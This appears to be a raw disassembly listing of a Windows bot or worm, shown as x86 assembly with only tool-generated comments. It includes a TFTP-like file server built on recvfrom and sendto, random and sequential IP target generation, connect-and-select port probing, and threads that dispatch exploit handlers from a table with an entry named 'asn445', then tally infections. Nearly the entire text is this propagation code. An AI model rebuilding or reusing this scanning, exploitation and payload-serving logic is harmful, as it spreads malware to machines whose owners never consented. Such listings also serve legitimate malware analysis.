		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415B78
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_405405
		push	190h
		call	ds:dword_422054	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_426578
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40BAE7
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_170]
		call	sub_415248
		add	esp, 28h
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_405405:				; CODE XREF: sub_40525F+140j
		mov	esi, 200h


loc_40540A:				; CODE XREF: sub_40525F+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_40570A
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_436450	; select
		test	eax, eax
		jle	loc_4056FE
		mov	al, ds:byte_4325D8
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	ds:dword_436440	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_415480
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4056E8
		cmp	[ebp+var_D7], 1
		jnz	loc_405634
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415C80
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415C80
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_416EC0
		add	esp, 14h
		test	eax, eax
		jnz	loc_4055EE
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415C80
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_416EC0
		add	esp, 10h
		test	eax, eax
		jnz	loc_4055EE
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_416E2E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_416BA7
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	ds:dword_4364CC	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_426530


loc_4055A2:				; CODE XREF: sub_40525F+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_415480
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_4055DC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40BAE7
		add	esp, 14h


loc_4055DC:				; CODE XREF: sub_40525F+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40A5B3
		pop	ecx
		jmp	loc_4056FE
; ---------------------------------------------------------------------------


loc_4055EE:				; CODE XREF: sub_40525F+2B6j
					; sub_40525F+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42651C
		push	edi
		call	ds:dword_4364CC	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_4264E8
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40A5B3
		add	esp, 14h
		jmp	loc_4056FE
; ---------------------------------------------------------------------------


loc_405634:				; CODE XREF: sub_40525F+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4056E8
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_405671
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_40567F
; ---------------------------------------------------------------------------


loc_405671:				; CODE XREF: sub_40525F+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_40567F:				; CODE XREF: sub_40525F+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_416E2E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416BA7
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	ds:dword_4364CC	; sendto
		cmp	edi, ebx
		jnz	short loc_4056FE
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_426494
		jmp	loc_4055A2
; ---------------------------------------------------------------------------


loc_4056E8:				; CODE XREF: sub_40525F+268j
					; sub_40525F+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_426488
		push	edi
		call	ds:dword_4364CC	; sendto


loc_4056FE:				; CODE XREF: sub_40525F+204j
					; sub_40525F+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_40540A


loc_40570A:				; CODE XREF: sub_40525F+1B4j
		push	edi
		call	ds:dword_436500	; closesocket
		push	[ebp+var_8]
		call	sub_415AD0
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40573E
		push	[ebp+var_170]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_40573E:				; CODE XREF: sub_40525F+4CAj
		push	3E8h
		call	ds:dword_422054	; Sleep
		push	esi


loc_40574A:				; CODE XREF: sub_40525F+123j
		call	sub_40525F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40525F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405756	proc near		; CODE XREF: sub_40D2E0+5D3Fp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42684C
		push	eax
		xor	ebx, ebx
		call	sub_415480
		cmp	ds:dword_426620, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4057C4
		push	esi
		mov	esi, offset dword_426628


loc_405789:				; CODE XREF: sub_405756+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F00
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_405789
		pop	esi


loc_4057C4:				; CODE XREF: sub_405756+2Bj
		push	ds:dword_4C8CC0
		call	sub_409D67
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F00
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40A5B3
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_405756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405821	proc near		; CODE XREF: sub_40D2E0+56B3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_415174
		test	eax, eax
		pop	ecx
		jle	short loc_40585D
		mov	eax, [ebp+arg_C]
		push	ds:dword_4325E8[eax*8]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4268B0
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	short loc_405870
; ---------------------------------------------------------------------------


loc_40585D:				; CODE XREF: sub_405821+13j
		lea	eax, [ebp+var_200]
		push	offset unk_426880
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_405870:				; CODE XREF: sub_405821+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40A5B3
		add	esp, 18h
		leave
		retn
sub_405821	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405898	proc near		; CODE XREF: sub_405FC5+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_405C28
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_42662C[eax], ebx
		jz	loc_405B09
		push	4
		call	sub_415174
		test	eax, eax
		pop	ecx
		jnz	loc_405C28
		mov	eax, ds:dword_42ACC4
		push	edi
		mov	edi, offset dword_434604
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_434814, eax
		mov	ds:dword_434810, ebx
		call	ds:off_422060
		push	103h
		mov	esi, offset dword_434708
		push	offset byte_42AD8C
		push	esi
		call	sub_416D30
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	ds:dword_434600, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	ds:dword_434898, eax
		jnz	short loc_40594B
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_434818
		call	sub_416D30
		add	esp, 0Ch
		mov	ds:dword_43489C, 1
		jmp	short loc_405965
; ---------------------------------------------------------------------------


loc_40594B:				; CODE XREF: sub_405898+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_434818
		call	sub_416D30
		add	esp, 0Ch
		mov	ds:dword_43489C, ebx


loc_405965:				; CODE XREF: sub_405898+B1j
		push	esi
		push	edi
		push	ds:dword_434814
		lea	eax, [ebp+var_204]
		push	offset unk_426A40
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	ds:dword_43480C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_434600
		push	offset sub_40525F
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, ds:dword_43480C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_4059D4


loc_4059C2:				; CODE XREF: sub_405898+13Aj
		cmp	ds:dword_4348A0, ebx
		jnz	short loc_4059EF
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_4059C2
; ---------------------------------------------------------------------------


loc_4059D4:				; CODE XREF: sub_405898+128j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_426A00
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_4059EF:				; CODE XREF: sub_405898+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40A5B3
		mov	edi, offset dword_434C5C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	ds:dword_434E68, ebx
		call	ds:off_422060
		push	103h
		mov	esi, offset dword_434D60
		push	offset byte_42AD8C
		push	esi
		call	sub_416D30
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	ds:dword_434C58, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	ds:dword_434EF0, eax
		jnz	short loc_405A6A
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_434E70
		call	sub_416D30
		add	esp, 0Ch
		mov	ds:dword_434EF4, 1
		jmp	short loc_405A84
; ---------------------------------------------------------------------------


loc_405A6A:				; CODE XREF: sub_405898+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_434E70
		call	sub_416D30
		add	esp, 0Ch
		mov	ds:dword_434EF4, ebx


loc_405A84:				; CODE XREF: sub_405898+1D0j
		push	esi
		push	edi
		push	ds:dword_434E6C
		lea	eax, [ebp+var_204]
		push	offset dword_4269B0
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	ds:dword_434E64, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_434C58
		push	offset sub_403A1B
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, ds:dword_434E64
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_405AF8


loc_405AE2:				; CODE XREF: sub_405898+25Ej
		cmp	ds:dword_434EF8, ebx
		jnz	loc_405C1B
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_405AE2
; ---------------------------------------------------------------------------


loc_405AF8:				; CODE XREF: sub_405898+248j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_426970
		jmp	loc_405C0C
; ---------------------------------------------------------------------------


loc_405B09:				; CODE XREF: sub_405898+25j
		cmp	ds:dword_426630[eax], ebx
		jz	loc_405C28
		push	3
		call	sub_415174
		test	eax, eax
		pop	ecx
		jnz	loc_405C28
		mov	esi, offset dword_434B34
		push	104h
		push	esi
		push	ebx
		call	ds:off_422060
		push	5Ch
		push	esi
		call	sub_417030
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_405B47
		mov	[eax], bl


loc_405B47:				; CODE XREF: sub_405898+2ABj
		mov	eax, ds:dword_42ACC8
		mov	ds:dword_434C4C, ebx
		mov	ds:dword_434C38, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4348AC
		call	sub_415480
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	ds:dword_4348A8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	ds:dword_434C38
		mov	ds:dword_434C44, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	ds:dword_434C48, ecx
		call	sub_409526
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_426924
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	ds:dword_434C40, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4348A8
		push	offset sub_404138
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, ds:dword_434C40
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_405C00


loc_405BEE:				; CODE XREF: sub_405898+366j
		cmp	ds:dword_434C54, ebx
		jnz	short loc_405C1B
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_405BEE
; ---------------------------------------------------------------------------


loc_405C00:				; CODE XREF: sub_405898+354j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4268E0


loc_405C0C:				; CODE XREF: sub_405898+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_405C1B:				; CODE XREF: sub_405898+250j
					; sub_405898+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40A5B3
		pop	ecx


loc_405C28:				; CODE XREF: sub_405898+14j
					; sub_405898+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_405898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C2C	proc near		; CODE XREF: sub_405DAD:loc_405E1Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4325E8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_415560
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43639C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_436464	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_415560
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_405C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C74	proc near		; CODE XREF: sub_405DAD+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415C80
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_405C9C
		xor	eax, eax
		jmp	short loc_405D0D
; ---------------------------------------------------------------------------


loc_405C9C:				; CODE XREF: sub_405C74+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416A97
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_405CC9
		call	sub_4154DC
		mov	[ebp+var_C], eax


loc_405CC9:				; CODE XREF: sub_405C74+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_405CD6
		call	sub_4154DC
		mov	[ebp+var_8], eax


loc_405CD6:				; CODE XREF: sub_405C74+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_405CE3
		call	sub_4154DC
		mov	[ebp+var_4], eax


loc_405CE3:				; CODE XREF: sub_405C74+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_405CEF
		call	sub_4154DC


loc_405CEF:				; CODE XREF: sub_405C74+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4325E8[ecx*8],	eax


loc_405D0D:				; CODE XREF: sub_405C74+26j
		pop	esi
		leave
		retn
sub_405C74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D10	proc near		; CODE XREF: sub_405DAD+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_4364E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405D39
		xor	eax, eax
		jmp	short loc_405DA8
; ---------------------------------------------------------------------------


loc_405D39:				; CODE XREF: sub_405D10+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_436468	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_436504	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_436410	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_436450	; select
		push	esi
		mov	edi, eax
		call	ds:dword_436500	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_405DA8:				; CODE XREF: sub_405D10+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DAD	proc near		; DATA XREF: sub_405FC5+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_405DF4:				; CODE XREF: sub_405DAD+204j
		mov	eax, ds:dword_43BEC4[ebx]
		cmp	ds:dword_4325EC[eax*8],	0
		jz	loc_405FB6
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_405E1E
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_405C74
		pop	ecx
		jmp	short loc_405E23
; ---------------------------------------------------------------------------


loc_405E1E:				; CODE XREF: sub_405DAD+60j
		call	sub_405C2C


loc_405E23:				; CODE XREF: sub_405DAD+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_43BEC4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_426AD4
		push	eax
		call	sub_415480
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43BCC0[ebx]
		push	eax
		call	sub_415480
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_405D10
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_405FA6
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_405EFA
		push	offset dword_4345E8
		call	ds:dword_4220A4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_426A9C
		push	eax
		call	sub_415480
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_405EDC
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_405ED0
		lea	eax, [ebp+var_140]


loc_405ED0:				; CODE XREF: sub_405DAD+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40BAE7
		add	esp, 14h


loc_405EDC:				; CODE XREF: sub_405DAD+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40A5B3
		mov	[esp+2A8h+var_2A8], offset dword_4345E8
		call	ds:dword_4220A0	; RtlLeaveCriticalSection
		jmp	loc_405FA6
; ---------------------------------------------------------------------------


loc_405EFA:				; CODE XREF: sub_405DAD+D0j
		push	edi
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_415480
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aAsn445 ; "asn445"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_415480
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_405F3F
		lea	eax, [ebp+var_140]


loc_405F3F:				; CODE XREF: sub_405DAD+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_415480
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_426624[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_405FA6:				; CODE XREF: sub_405DAD+C6j
					; sub_405DAD+148j
		push	7D0h
		call	ds:dword_422054	; Sleep
		jmp	loc_405DF4
; ---------------------------------------------------------------------------


loc_405FB6:				; CODE XREF: sub_405DAD+55j
		push	esi
		call	sub_415248
		pop	ecx
		push	0
		call	ds:dword_422044	; ExitThread
sub_405DAD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FC5	proc near		; DATA XREF: sub_40D2E0+3300o
					; sub_40D2E0+5137o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_4364A8	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_4325E8[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405898
		push	8
		call	sub_415174
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_406093
		mov	esi, offset dword_4345E8
		push	esi
		call	ds:dword_4220AC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4220A8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_406093
		lea	eax, [ebp+var_1CC]
		push	offset unk_426C08
		push	eax
		call	sub_415480
